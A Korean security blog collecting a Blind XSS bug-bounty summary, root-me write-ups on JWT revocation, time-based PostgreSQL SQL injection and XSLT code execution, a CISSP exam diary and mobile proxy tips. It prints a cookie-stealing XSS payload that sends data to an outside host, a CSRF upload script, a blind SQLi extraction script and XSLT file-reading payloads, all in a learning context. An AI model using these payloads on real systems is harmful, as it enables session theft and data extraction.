반응형

Hactivity 중에서 Blind XSS 관련 취약점이 눈에 띄길래 정리해보려고 합니다.

역시 XSS 취약점 중에서도 큰 금액인 $1,000를 바운티로 받았습니다. 아마 영향도가 커서 그렇게 적용된 것으로 보입니다.

 

Blind XSS(Cross Site Scripting)란?

Blind XSS 공격이란 Stored XSS 공격의 한 종류? CASE입니다. 저 같은 경우, XSS 취약점을 검수할 때는 우선 악성 스크립트 구문을 삽입한 후 응답 내 해당 구문이 정상적으로 삽입이 되었는가, 또 삽입된 구문이 클라이언트 측에서 성공적으로 실행이 되는가를 기준으로 점검하고 있습니다.

 

하지만, Blind XSS의 경우 삽입한 페이로드가 어디에 저장되었는지, 언제 실행될지 모르는 상황일 때를 말합니다. 예를 들어, 특정 사이트의 신고 또는 문의 기능처럼 사용자가 등록하였지만 해당 글은 노출되지 않고 관리자 페이지에서만 확인 가능한 경우..등이 대표적입니다. 

 

사실 기존에 알고있던 Stored XSS 취약점과 별반 다를 게 없지만, 공격자 측에서 악성 스크립트가 실행되는 여부 및 위치를 바로 확인할 수 없는 특수한 경우Blind XSS라고 칭하는 것을 이번에 처음 알게 되었습니다.

 

Blind XSS 공격은 언제 어디서 실행될지 모르지만 분명 잠재적인 영향력이 존재합니다. 관리자 페이지 또는 로그 서버 등에서 삽입된 악성 페이로드가 실행된다면, 내부망 침투까지 가능한 시나리오가 존재하기 때문에 더욱 위험합니다.

 

 

Blind XSS(Cross Site Scripting)의 대표적인 CASE

1. Logon forms

대부분의 사이트에서 로그인할 경우 성공 또는 실패한 로그인 기록을 로그 파일에 저장합니다.(책임 추적성 근거) 만약, 사용자 입력값에 대한 적절한 검증이 이루어지고 있지 않다면 공격자는 악의적인 스크립트 구문을 로그 DB/파일에 저장하기 위해 여러 번 로그온 시도를 할 것이고, 추후 관리자가 모니터링을 위해 웹 페이지에서 해당 로그를 오픈한다면 악의적으로 삽입된 구문이 실행될 수 있습니다.

 

2. Forums / Message boards

위에서 언급했다시피 공격자는 포럼 또는 게시판 제목 또는 내용 항목에 악성 스크립트 구문을 삽입할 수 있습니다. 데이터베이스에 저장된 악성 페이로드가 인기 보고서와 같은 포럼 관리 웹 페이지를 로드할 때 노출되어 스크립트 구문이 실행되며, 해당 스크립트로 인해 정보 노출, 리다이렉션, 서비스 거부 공격(DOS) 등을 야기할 수 있습니다.

 

3. ETC

  • Contact/Feedback pages
  • Log viewers
  • Exception handlers
  • Chat Applications / forums
  • Customer Ticket Applications
  • Web Application Firewalls
  • Any Application that requires user moderation

 

Bug Bounty CASE

실제 버그 바운티 사례를 보도록 하겠습니다.

 

 

요약하자면, 해커는 support 채팅에 이미지를 보내고, 해당 이미지 이름에 스크립트 구문을 삽입 후 변경하여 XSS 취약점을 발생시켰고, CSRF 취약점을 이용하여 XSS 취약점이 존재하는 이미지를 모든 사용자에게 보낼 수 있다고 설명하였습니다.

 

Steps to Reproduce 

1. support chat에 이미지 업로드

2. 파일 명을 아래의 스크립트 구문으로 변조

\"><img src=1 onerror=\"url=String['fromCharCode'](104,116,116,112,115,58,47,47,103,97,116,111,108,111,117,99,111,46,48,48,48,119,101,98,104,111,115,116,97,112,112,46,99,111,109,47,99,115,109,111,110,101,121,47,105,110,100,101,120,46,112,104,112,63,116,111,107,101,110,115,61)+encodeURIComponent(document['cookie']);xhttp= new XMLHttpRequest();xhttp['open']('GET',url,true);xhttp['send']();

3. support chat을 열 경우 XSS 공격이 실행된다.

 

4. 서버는 이미지 전송 시 토큰 값 및 헤더의 'Origin and Reference' 값을 검증하지 않아 CSRF 취약점이 발견

5. 임의의 웹 서버에 'index.php' 이름으로 CSRF 공격 파일 호스트

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://support.cs.money/upload_file", false);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
        xhr.withCredentials = "true";
        var body = "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"\\\" onerror=alert('xss') \\\"\"\r\n" +
          "Content-Type: image/png\r\n" +
          "\r\n" +
          String.fromCharCode(0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x06, 0x00, 0x00, 0x00, 0x1F, 0x15, 0xC4, 0x89, 0x00, 0x00, 0x00, 0x01, 0x73, 0x52, 0x47, 0x42, 0x00, 0xAE, 0xCE, 0x1C, 0xE9, 0x00, 0x00, 0x00, 0x04, 0x67, 0x41, 0x4D, 0x41, 0x00, 0x00, 0xB1, 0x8F, 0x0B, 0xFC, 0x61, 0x05, 0x00, 0x00, 0x00, 0x09, 0x70, 0x48, 0x59, 0x73, 0x00, 0x00, 0x0E, 0xC3, 0x00, 0x00, 0x0E, 0xC3, 0x01, 0xC7, 0x6F, 0xA8, 0x64, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x44, 0x41, 0x54, 0x18, 0x57, 0x63, 0xF8, 0xFB, 0xF7, 0xFF, 0x7F, 0x00, 0x09, 0xED, 0x03, 0xF9, 0x94, 0x8C, 0x14, 0xA8, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82) + "\r\n" +
          "-----------------------------256672629917035--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    try{      submitRequest();

    }catch(e){
        location.href="https://cs.money";

    }
    </script>

  </body>
</html>

6. 파일 링크를 더 짧은 도메인(bit.ly)으로 단축하거나 csmoney.shop과 같은 도메인 사용

7. 공격 구문 전송 후 Massive XSS 공격 성공

 

Blind XSS 대응방안

기존 Reflected, Stored XSS 취약점의 대응방안과 다를 게 없습니다. 따라서 가장 효과적인 방법으로는 "코드 검토를 통한 사용자 입력값 검증(위생처리)"라고 할 수 있습니다. 

 


좀 더 추가하고 싶은 내용이 생긴다면 추가할 예정!


※ 참고 자료

- https://hackerone.com/reports/1010466

- https://www.hahwul.com/2017/11/12/web-hacking-blind-xsscross-site/

- https://medium.com/@R0X4R/introduction-to-blind-xss-417dcf9c842c
- https://www.acunetix.com/websitesecurity/detecting-blind-xss-vulnerabilities/

- https://www.acunetix.com/blog/articles/blind-xss/

반응형

'Study > Bug Bounty' 카테고리의 다른 글

[XSS] DOM Based XSS(Cross Site Scripting)  (0) 2020.04.17
#1. Bug Bounty Platform  (0) 2020.02.21

반응형

Root-me에 추가된 문제 중에서 JWT 관련이고 25 포인트밖에 되지 않아서 쉽게 봤었는데 한동안 못 풀었던 문제였습니다..

 

JWT 토큰에 관련된 기본 사항들은 이전 포스트에 써놓았으니 참고하시길 바랍니다!

2019/12/20 - [Study/Wargame] - [root-me] JSON Web Token (JWT) - Introduction

 

[root-me] JSON Web Token (JWT) - Introduction

JSON Web Token(JWT) 관련 문제를 풀어보았습니다. 우선, JWT란 사용자와 서버간에 안전하고 신뢰할 수 있는 정보를 전달할 수 있는 토큰 값입니다. 주로, 회원 인증이나 안전하게 정보를 전달할 경우

ddungkill.tistory.com

 

Revoked Token 관련 문제를 우선 보면, 두 개의 접근 URL을 확인할 수 있습니다. 

1. POST 방식으로 접근하는 /web-serveur/ch63/login 부분과

2. GET 방식으로 접근하는 /web-serveur/ch63/admin 부분입니다.

 

먼저, GET 방식으로 요청되는 admin URL에 접근해보겠습니다.

위 스크린샷에서 보이듯이 Authorization Header 값이 필요합니다. 

 

Authorization값에 삽입되는 JWT 토큰 값을 획득하기 위해 POST 방식으로 요청되는 login URL에 접근해보겠습니다.

Json 형식으로 계정 아이디 값과 패스워드를 전송하라는 메시지가 출력됩니다. 친절하게 아이디와 패스워드까지 알려주었습니다.

 

JSON 형식으로 계정 정보를 전송하니! Access Token 즉 JWT 값이 출력되었습니다.

 

획득한 값을 admin URL 내 Authorization 헤더에 삽입하여 전송하였지만, 토큰이 Revoke(취소)되었다는 에러 메시지가 출력됩니다ㅠㅠ

 

문제 페이지 내에 있는 소스코드를 분석해보니, access_token 값의 유효 시간은 3분이고 해당 값을 발급하자마자 Black List로 보내버립니다. 즉, 저희는 유효하지만 발급되지 않은 JWT 토큰 값이 필요합니다.

 

이전 문제나, JWT Attack과 관련된 모든 방법을 다 써보았지만, 해결을 못하고 있었는데 Root-me에는 의견을 공유하는 게시판? 느낌의 메뉴가 있었습니다. 혹시나 해서 들어가 봤는데 역시나 저와 같은 문제로 인해 해결을 못한 사람들이 질문을 먼저 올려두었더라고요. 

 

해당 질문의 답변에서 유용한 정보를 얻을 수 있었습니다. RFC 4648이 도움이 될 것이라는 것을 말이죠.

 


RFC 4648

RFC 4648은 일반적으로 사용되는 BASE64/32/16 encoding scheme에 대한 내용이다. 이는 또 인코딩 된 데이터의 line-feed, padding, 비(非) 알파벳 문자, 다른 방식으로 인코딩 된 알파벳 등의 사용과 규범적인 인코딩에 대한 내용을 다루고 있다.

 

즉, 지정된 Base64의 포맷의 텍스트로 데이터를 반환하는 RFC의 표준입니다. 다른 형식을 찾아보면

RFC 번호 Text Encoding 지침
1421 최대 64의 행 길이 및 CRLF 라인 끝
2045 최대 76의 행 길이 및 CRLF 라인 끝
3548 줄바꿈이 추가되지 않음(구 버전)
4648 줄바꿈이 추가되지 않음(Default)
4880 최대 76의 행 길이, CRLF 라인 끝 및 추가된 24비트 CRC 값

등이 있습니다.


즉, 정확하게는 모르겠지만 BASE64 인코딩과 관련이 있다는 것을 예상할 수 있습니다.

 

JWT 값은 1. 헤더(Header), 2.정보(Payload), 3.서명(Signature) 가 각각 BASE64 형식으로 인코딩 됩니다.

이 경우 BASE64으로 인코딩 된 결과 값이 A이던, A=던, A==이던 서버는 크게 상관하지 않습니다. 즉 같은 값으로 인식된다는 거죠.

 

따라서, 이를 이용해 발급받은 JWT 값에 "="를 붙여서 보낸다면 서버는 발급하진 않았지만, 유효한 토큰 값(Black List에 없는)으로 인식해서

Flag 값을 획득할 수 있습니다.

 


※ 참고 자료

- https://www.ietf.org/rfc/rfc4648

- https://ko.wikipedia.org/wiki/%EB%B2%A0%EC%9D%B4%EC%8A%A464#RFC_4648

- https://cafe.naver.com/fmnc/148

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL injection - Time based  (1) 2020.09.25
[root-me] XSLT - Code execution  (0) 2020.07.02
[root-me] Insecure Code Management  (0) 2020.04.07
[root-me] SQL Injection - File reading  (0) 2020.04.01
[root-me] SQL Injection - Routed  (0) 2020.03.20
반응형
1. 개요

올해 1월 1일에 작성한 버킷리스트 중에 업무 관련 보안자격증을 취득하자라는 목표가 있었는데, 어떤 자격증을 공부해볼까 하다가 CISSP(Certified Information System Security Professional)으로 선택했다. CISA 자격증과 고민하다가 좀 더 기술적인 내용이 포함되어 있다길래 도전했지만, 만만한 시험은 아니었다.

 

2. 공부 기간
  • 5월 16일 ~ 7월 25일 라이지움 CISSP 정규반(OFF-Line) 수강
  • 9월 25일 시험 신청 >> 코로나19로 인해 시험 연기
  • 11월 17일 ~ 12월 16일 라이지움 CISSP 문제 풀이반(On-Line) 수강
  • 12월 18일 시험 응시

처음에는 학원 종강 후 약 두 달 정도 공부해서 9월 말에 시험을 보고 싶었으나, 공부를 게을리해서 자신도 없었고... 시험을 연기해야 하나 고민하던 찰나 피어슨 뷰 센터에서 연락 와서 코로나19로 인해 부득이하게 시험이 취소되었다며 무료로 연기를 해주었다ㅋㅋㅋ(개이득)

 

그래서 결론은 마음먹고 제대로 공부를 시작한건 11월 경이었고, 그래서 학원 두 달 반+독학 한 달 반해서 총 4달 정도

 

3. 공부 방법

사실, 매우 게으른 성격이라 예/복습을 열심히 한 편은 아니었고, 강사님들께 질문을 해본적도 없었다..(사실 마음먹고 공부하려니 수강 기한이 끝나서 혼자서 해결할 수밖에 없었음) 그렇지만 정리해보자면,

  • 라이지음 정규 교재 2~3회 (마지막에는 쓱 훑는 정도로)
  • 라이지움 정규 문제풀이 1000제 3회 풀이+오답
  • 라이지움 문제 풀이반 교재(1000제) 2회 풀이 + 오답
  • Handout 총정리 2회독

개념 정리보다는 문제 풀이를 위주로 했고, 문제 풀이 후 오답 정리를 열심히 한 편이었다.

그리고, 라이지움 문제 풀이반 교재(1000제)가 훨씬 더 많은 도움이 되었다. 실제 시험이랑도 유형이 비슷한 문제들도 많았고!! 물론, 개념이 있어야 더 문제 풀이가 수월하긴 했지만 라이지움 정규반에서 받은 1000제는 그냥... 한 번 정도만 풀어도 될 듯..

 

개인적으로는 라이지움 문제 풀이반 교재와 Handout 총정리가 가장 많은 도움이 되었음.

 

4. 시험 응시

18일 6시에 일어나서 커피 2개와 초코바 2개를 사들고 시청역 피어슨뷰 센터에 7시 20분에 도착했다.

그랬더니, 7시 30분 맞춰서 오라고 쫓겨났다ㅋㅋㅋㅋㅋ

화장실에서 10분 정도 때운 후에 다시 갔더니 이미 꽤 많은 사람들이 있었고 몇 분은 벌써 시험 진행 중 ㅡㅡ^

나는 첫 시험이었기 때문에 정맥 등록과 사진까지 모두 찍은 후에 시험장에 입실할 수 있었다.

근데 8시부터 시작인 줄 알았는데, CBT 시험이라 그런지 그냥 입실과 동시에 카운트 다운 시작!

 

  • 1~250번 한 사이클 - 약 2시간
  • 화장실에서 고양이 세수와 커피 반 잔을 마시고 다시 들어옴
  • FLAG 친 문제만 다시 한 사이클 - 약 1시간 30분
  • 또 화장실 갔다가 남은 커피 반 잔 원샷
  • 1~250번 두 번째 사이클 - 약 1시간 30분
  • 그중에서 FLAG 친 문제 다시 보기 - 약 30분

6시간 다 안 채우고 나올 줄 알았는데 나는 10분 남기고 제출했다ㄷㄷ

80만원이 아른거려서 제출 클릭할 때 온몸이 다 떨리더라ㅠㅠ 머리도 계속 아프고,, 아무리 봐도 집중 안될 것 같아서 그냥 제출해버림..ㅠ

 

5. 시험 후기 및 결과

시험 끝나고 나오니까 종이 한 장을 받아가래서 받았더니 축하합니다!! 쓰여 있어서 완전 다행..ㅜㅜ

그렇지만 예비 합격이라 포렌식 결과까지 통과되려면 업무일 기준 3~5일 걸린다고 쓰여 있었다.

(나는 월요일에 확인했는데 보니까 당일에 와 있었던,, 메일 확인을 안 하고 있었는데)

 

음, 시험 난이도는 내 예상보다는 평이했지만, 보기 두 개가 너무 헷갈려서 선택 장애가 많이 왔었다.

긴 시나리오가 나오지도 않았고, 짝짓기 문제도 없어서 그림 문제 하나를 제외하고는 다 4지선다형 객관식이었다.

 

아무튼 합격을 하고 나니까 뭔가 자신감도 회복되는 것 같고 기분이 좋긴 하다 ^____^

 

6. 여담

재작년에 합격한 정보보안기사와 겹치는 주제들이 꽤 많이 있었지만, 기사에서는 Deep 하게 물어보는 반면, CISSP에서는 좀 더 포괄적으로 질문하는 느낌이다. 공부 자체가 재밌었던 것은 보안 기사.. 뭔가 업무랑 더 연관성이 있기도 하고 지식을 더 많이 쌓는 느낌이라

 

앞으로는 시험공부 때문에 소홀했던 블로그 포스팅과 내년에는 어떤 자격증을 취득할지 찾아봐야겠다.

CISSP 공부하면서 정보보안기사와 겹쳤던 부분들을 정리해서 포스팅하는 것도 괜찮을 것 같고ㅋㅋ

 

일단 즐거운 연말 되세요~~♥

반응형

'Memo' 카테고리의 다른 글

제 10회 POC해킹캠프  (0) 2014.07.18
반응형

Time based SQL Injection 관련 문제입니다. 관리자의 패스워드 데이터를 추출해내는 것이 목표입니다.


Time based(시간 기반) SQL Injection 공격은 Blind SQL Injection 공격의 한 유형입니다. SQL 쿼리 구문 삽입이 가능하지만 얻을 수 있는 정보가 제한될 때, SQL 구문이 참일 경우와 거짓일 경우 출력되는 결과 값을 차이를 이용해 Blind SQL injection 공격을 수행하고 있으나 이 마저도 확인할 수 없을 경우 Time based SQL Injection 공격이 사용됩니다.

 

아래는 시간 기반 SQL Injection 공격 시 사용되는 구문을 DBMS 별로 간략히 정리한 표입니다.

DB 종류 구문
MySQL select BENCHMARK(1000000, md5('a');  
select SLEEP(5);
Oracle select dbms_pipe.receive_message(('a'), 10) from dual;
MSSQL WAITFOR DELAY '0:0:5';
PostgreSQL select pg_sleep(10);
DB2, Ingres 등 use heavy queries to create a time delay

 


문제에 접속하게 되면 첫 번째 페이지에 로그인 창이 있고, [Member list] 탭이 존재합니다.

 

해당 [Member list] 탭 메뉴를 클릭해보면, DB에 저장되어 있는 멤버의 ID와 로그인 아이디 리스트가 출력됩니다.

저희는 관리자의 패스워드를 찾아야 하기 때문에 "admin" 링크를 클릭합니다.

 

"admin"을 클릭하였더니 URL 주소 내 GET Method로 action과 member 파라미터가 전송되고 있으며, 로그인이 필요하다는 에러 메시지가 나타납니다. 

 

Step 1. 취약성 판단

Time based SQL Injection 공격이 가능한지에 대한 여부를 판단하기 위해 SQL 구문을 삽입합니다.

SQL 구문이 참과 거짓일 때의 결과가 같아 Blind SQL Injection 공격이 불가능해 Time based SQL Injection 공격으로 진행하였고, DBMS 종류가 PostgreSQL이기 때문에 pg_sleep 함수를 사용하였습니다. 

참인 SQL 구문을 삽입한 경우 응답 시간이 조금 지연되어 2,292 milli seconds 임을 확인할 수 있고,

▶구문 : ;select+case+when+1=1+then+pg_sleep(5)+else+pg_sleep(0)+end--

 

SQL 구문이 거짓일 경우 바로 응답이 전송되어 288 milli seconds 임을 확인할 수 있습니다.

이러한 응답 시간 차이를 이용하여 데이터베이스 내 정보를 추출해보겠습니다.

▶구문 : ;select+case+when+1=2+then+pg_sleep(5)+else+pg_sleep(0)+end--

 

Step 2. 테이블명 파악

테이블 명을 추출해내기 위해 우선 길이를 알아보았습니다.

▶구문 : ;select+case+when+(select+length(table_name)+from+information.schema.tables+limit+1)=5+then+pg_sleep(5)+else+pg_sleep(0)+end--

위의 구문의 참이니까 테이블 명은 5 글자이며,

 

substr 함수를 사용하여 문자열을 잘라 한 글자씩 파악합니다.

▶구문 : ;select+case+when+substr((select+table_name+from+information.schema.tables+limit+1),1,1)=chr(117)+then+pg_sleep(5)+else+pg_sleep(0)+end--

위의 구문을 사용하여 테이블 명 "users"를 획득하였습니다.

 

Step 3. 컬럼명 파악

테이블 명을 획득했던 방법으로 이번엔 컬럼 명을 추출해냅니다.

▶구문 : ;select+case+when+(select+length(column_name)+from+information.schema.columns+limit+1+offset+5)=8+then+pg_sleep(5)+else+pg_sleep(0)+end--

위의 구문으로 컬럼명이 8자 임을 확인하였고,

 

▶구문 : ;select+case+when+substr((select+column_name+from+information.schema.columns+limit+1+offset+5),1,1)=chr(112)+then+pg_sleep(5)+else+pg_sleep(0)+end--

substr 함수를 이용해 컬럼 명이 "password"임을 확인하였습니다.

 

Step 4. 관리자 패스워드 파악

관리자의 패스워드를 파악하기 위한 테이블명과 컬럼명을 모드 획득하였기 때문에 해당 데이터 추출만 남았습니다.

 

▶구문 : ;select+case+when+(select+password+from+users+limit+1+offset+0)=13+then+pg_sleep(5)+else+pg_sleep(0)+end--

 

위의 쿼리문으로 관리자의 패스워드 길이가 13자임을 확인하였고,

나머지 데이터 추출을 위해 간단한 파이썬 코드를 작성하였습니다.

 

import httplib, urllib, time
import re

for y in range(1,14):	
	for x in range(33,127):
		headers = {'Accept':'text/html','cookie':'PHPSESSID=------------------'}

		conn = httplib.HTTPConnection("challenge01.root-me.org")
		conn.request("GET","/web-serveur/ch40/?action=member&member=1;select+case+when+substr((select+password+from+users+limit+1+offset+0),"+str(y)+",1)=chr("+str(x)+")+then+pg_sleep(5)+else+pg_sleep(0)+end--",'',headers)
		start=time.time()
		response = conn.getresponse()
		end=time.time()
	
		if end-start > 2 :
			print "count: ", y
			print "x : ", x
			break
conn.close()

위의 코드를 실행시키면 아래와 같은 결과 값을 획득할 수 있습니다.

 

위의 x에 해당하는 숫자를 아스키 코드 문자로 매칭 하면 관리자 패스워드(Flag) 값 획득에 성공합니다.

 


※ 참고 자료 ※

- https://m.blog.naver.com/PostView.nhn?blogId=ktw1332&logNo=220622021431&proxyReferer=https:%2F%2Fwww.google.com%2F

- https://www.onsecurity.co.uk/blog/pentesting-postgresql-with-sql-injections/

- http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

- https://www.postgresqltutorial.com/postgresql-select/

- https://beaglesecurity.com/blog/vulnerability/time-based-blind-sql-injection.html

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] JWT - Revoked token  (2) 2020.12.29
[root-me] XSLT - Code execution  (0) 2020.07.02
[root-me] Insecure Code Management  (0) 2020.04.07
[root-me] SQL Injection - File reading  (0) 2020.04.01
[root-me] SQL Injection - Routed  (0) 2020.03.20
반응형

XSLT 관련 문제를 풀어보도록 하겠습니다. 취약한 부분을 찾아내서 서브 디렉토리에 존재하는 .passwd 파일을 읽는 것이 이 문제의 목적입니다. 처음 보는 용어였기 때문에 사전 조사부터 시작했습니다.


XSLT(Extensible Stylesheet Language Transformations) 취약점이란?

우선, XSL이란 XML 문서를 변환하기 위한 언어입니다. 따라서, XSLT란 XML 문서를 변환하는 자체를 의미하는데 변환 결과는 다른 XML 문서이거나 HTML 문서, CSV 파일 또는 일반 텍스트 파일과 같은 다른 형식의 파일일 수 있습니다.

 

그래서, XSLT 취약점은 XML 인젝션 취약점과 아주 유사하다고 할 수 있습니다. XSLT 원격 코드 실행 취약점의 예로는 .Net Ektron CMS에 영향을 주는 CVE-2012-5357, Apache Struts 2.0에 영향을 주는 CVE-2012-1592, Goole 검색 어플라이언스에 영향을 미치는 CVE-2005-3757 등이 있습니다.

 

자세한 사항은 우측의 링크를 이용 >> https://www.contextis.com/us/blog/xslt-server-side-injection-attacks


 

문제에 들어가면  Style을 선택하는 옵션 창과 [Change style!] 이라는 버튼이 보입니다. 임의의 스타일을 선택하고 눌러보겠습니다.

 

패킷을 확인해보면, xsl 파라미터에 "sytle1.xsl" 파일이 삽입되어 전송되고 있는 형태입니다.

 

해당 값이 전송되면 화면 상 결과는 위와 같이 출력되었습니다.

 

우선, 해당 부분이 취약한지 확인하기 위해 간단한 아래의 공격 코드를 작성해보았습니다.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
XSLT Version : <xsl:value-of select="system-property('xsl:version')"/>
XSLT Vendor : <xsl:value-of select="system-property('xsl:vendor')"/>
XSLT Vendor URL : <xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>

하지만, 위의 값을 xsl 파라미터에 바로 삽입하면 해당 코드가 실행되지 않았습니다.

"style1.xsl"과 같은 파일 형식으로 값을 넣어주어야겠다는 생각이 들어 개인 서버를 오픈한 후 해당 코드를 저장하였습니다.

 

개인 서버에 test1.xsl 파일로 위의 코드를 작성하여 저장 후,

 

xsl 파라미터에 "개인 서버 주소/test1.xls" 형식으로 삽입하였더니 XSLT 정보(라이브러리 공급업체)가 조회되어 공격 코드가 실행된 것을 확인할 수 있었습니다.

 

이제 본격적으로 문제에서 필요한 정보를 획득해보도록 하겠습니다.

현재 디렉토리에 존재하는 하위 디렉토리, 즉 서브 디렉토리를 확인하기 위해 php 함수를 이용하여 공격 코드를 작성하였습니다.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','.')"/> 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
<xsl:value-of select="php:function('readdir')"/> / 
</xsl:template></xsl:stylesheet>

 

이를 또 개인 서버의 test2.xls 파일로 저장한 후,

 

공격 코드를 실행하면, 위와 같이 현재 디렉토리에 존재하는 모든 파일과 하위 디렉토리 이름을 확인할 수 있습니다.

 

마지막으로, 서브 디렉토리에 존재하고 있는 .passwd 파일을 찾아 읽기만 하면 됩니다.

위에서 보면, ._firewall, .6ff~로 시작하는 두 개의 서브 디렉토리를 확인할 수 있는데요, .passwd 파일은 .6ff~ 디렉토리에 존재하고 있었습니다.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','.6ff3200bee785801f420fba826ffcdee/.passwd')"/>
</xsl:template>
</xsl:stylesheet>

따라서, .6ff~ 디렉토리 하위에 있는 .passwd 파일을 읽어오는 명령어를 작성한 코드를 test3.xls 파일에 저장한 후,

 

실행하면 Flag 값을 획득할 수 있습니다.^^

 


※ 참고 자료

- https://www.contextis.com/us/blog/xslt-server-side-injection-attacks

- https://comsecuodj.tistory.com/31

- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20XSLT%20Processing%20Security%20and%20Server%20Side%20Request%20Forgeries%20-%20OWASP%20Switzerland%20Meeting%202015.pdf

- https://book.hacktricks.xyz/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] JWT - Revoked token  (2) 2020.12.29
[root-me] SQL injection - Time based  (1) 2020.09.25
[root-me] Insecure Code Management  (0) 2020.04.07
[root-me] SQL Injection - File reading  (0) 2020.04.01
[root-me] SQL Injection - Routed  (0) 2020.03.20
반응형
1. 개요

 

 안드로이드 어플리케이션 설치 시 APK 파일 용량을 줄이기 위해 앱 번들을 많이 사용하고 있습니다. 기업에서 앱 번들을 구글 PlayStore에 업로드하면, PlayStore가 설치를 요청하는 사용자의 디바이스에 필요한 파일만 앱 번들에서 꺼내 디바이스로 전달 후 설치하는 방법인데 이를 Dynamic delivery라고 칭합니다.

즉, 최근에는 Dynamic delivery라는 기술로 분리할 수 있는 리소스들을 여러 apk로 분리하고 디바이스에 전달하며, Split apk라는 기술을 사용하여 필요한 apk들만 디바이스에 설치하고 있습니다.

 

왼편의 사진과 같이 PlayStore에서 어플리케이션을 다운받을 경우, 

 

- 코드(dex)가 포함된 base.apk 파일

- 그 외, 설정 리소스가 포함된 apk 파일들이 분할되어 설치되는 것이죠.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2. Split APK 파일 설치 방법

 

그렇다면, 이 분할된 APK파일을 PlayStore와 같은 정상적인 루트 말고 다른 방법으로 설치하는 방법을 알아보도록 하겠습니다.

 

Sol 1. SAI(Split APKs Installer) 어플 이용

1) SAI(Split APKs Installer) APK 다운로드 후 설치

>> https://apkplz.net/app/com.aefyr.sai

 

 

2) SAI 앱 실행 후 [Install APKs] 버튼 클릭하여 분할되어 있는 APK 파일들 모두 선택 → 설치 진행

 

Sol 2. ADB 명령어 이용

1) adb connect 명령어/USB 커넥터로 디바이스 연결

 

2) adb install-multiple 명령어로 Split APKs 설치

>> adb install-multiple [APKs 파일명]

 

ex) adb install-multiple base.apk split_config.x86.apk split_config.xhdpi.apk split_countrycodekr.apk split_countrycodekr.config.xhdpi.apk

 


※ 참고자료

- https://codechacha.com/ko/android-app-bundle/

- https://medium.com/daangn/%EB%8D%94-%EC%9E%91%EC%9D%80-apk%EB%A5%BC-%EC%9C%84%ED%95%9C-android-app-bundle%EC%97%90-%EB%8C%80%ED%95%B4%EC%84%9C-345a656eee85

반응형
반응형
1. 개요

 

 저 같은 경우 웹/모바일 진단 시, 전송되는 패킷을 가로채 전송/변조하는 Proxy 툴로 Burp Suite를 많이 사용하고 있습니다. 하지만, 특정 모바일 어플리케이션을 진단할 때, Burp 툴로 패킷이 잘 잡히지 않고 매우 느려 진단이 불가능할 정도의 상황이 발견되었습니다. 처음에는 SSL 인증서 문제여서 Pinning을 고려해보았으나, SSL 패킷이 잡히긴 한다는 점에서 다른 방법을 물색해보았습니다. 이러한 경우 Fiddler라는 또 다른 Proxy 툴을 이용하여 패킷을 가로챈 후 Burp로 보내는 방법으로 이를 해결할 수 있습니다. (원리는 잘 모르겠네요ㅠ)

 

2. 방법

 

Step 1. Fiddler Tool Download

>> https://www.telerik.com/download/fiddler

위 링크에서 피들러 툴 다운로드 받기(개인 이메일 주소 필요)

 

Step 2. Fiddler Option Setting

1) PC에 Fiddler 인증서 설치

Fiddler 실행 후 [Tools - Options - HTTPS 탭 - Actions 버튼 - Trust Root Certificate - Yes] 클릭하여 인증서 설치

 

2) HTTPS 패킷 캡쳐 옵션 활성화

[Tools - Options - HTTPS 탭] 에서 "Capture HTTPS CONNECTs", "Decrypt HTTPS traffic" 옵션 선택하여 HTTPS 통신의 패킷을 캡쳐한다. 

 

Step 3. Mobile Device Setting

1) 피들러의 [Tools - Options - Connections 탭] 에서 Fiddler 리슨 포트 확인한다. (디폴트가 8888로 설정)

 

2) PC의 IP 확인 후 모바일에서 프록시 설정 진행

 

3) 모바일 디바이스에서 Fiddler 인증서 설치

모바일 브라우저에서 [컴퓨터 IP:Fiddler listen port](192.168.0.115:8888)로 접근 후 [Fiddler Root certificate] 버튼 클릭하여 인증서 설치

